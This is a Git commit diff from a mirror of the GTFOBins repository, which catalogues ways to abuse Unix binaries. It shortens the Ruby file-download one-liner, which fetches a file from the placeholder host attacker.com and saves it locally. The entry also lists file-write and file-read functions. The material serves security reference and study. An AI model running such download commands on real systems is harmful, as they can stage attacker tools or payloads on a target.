1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-24 08:16:02 +02:00

Use shorten ruby file download from #44

This commit is contained in:
Emilio 2019-01-02 15:28:13 +00:00
parent c156f48e5f
commit 9047ee345c

View File

@ -16,11 +16,9 @@ functions:
file-download:
- description: Fetch a remote file via HTTP GET request.
code: |
export RHOST=attacker.com
export RPORT=12345
export RFILE=/file_to_get
export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
ruby -e 'require "net/http"; Net::HTTP.start(ENV["RHOST"], ENV["RPORT"]) { |http| r = http.get(ENV["RFILE"]); open(ENV["LFILE"], "wb") { |file| file.write(r.body) } }'
ruby -e 'require "open-uri"; download = open(ENV["URL"]); IO.copy_stream(download, ENV["LFILE"])'
file-write:
- code: ruby -e 'File.open("file_to_write", "w+") { |f| f.write("DATA") }'
file-read: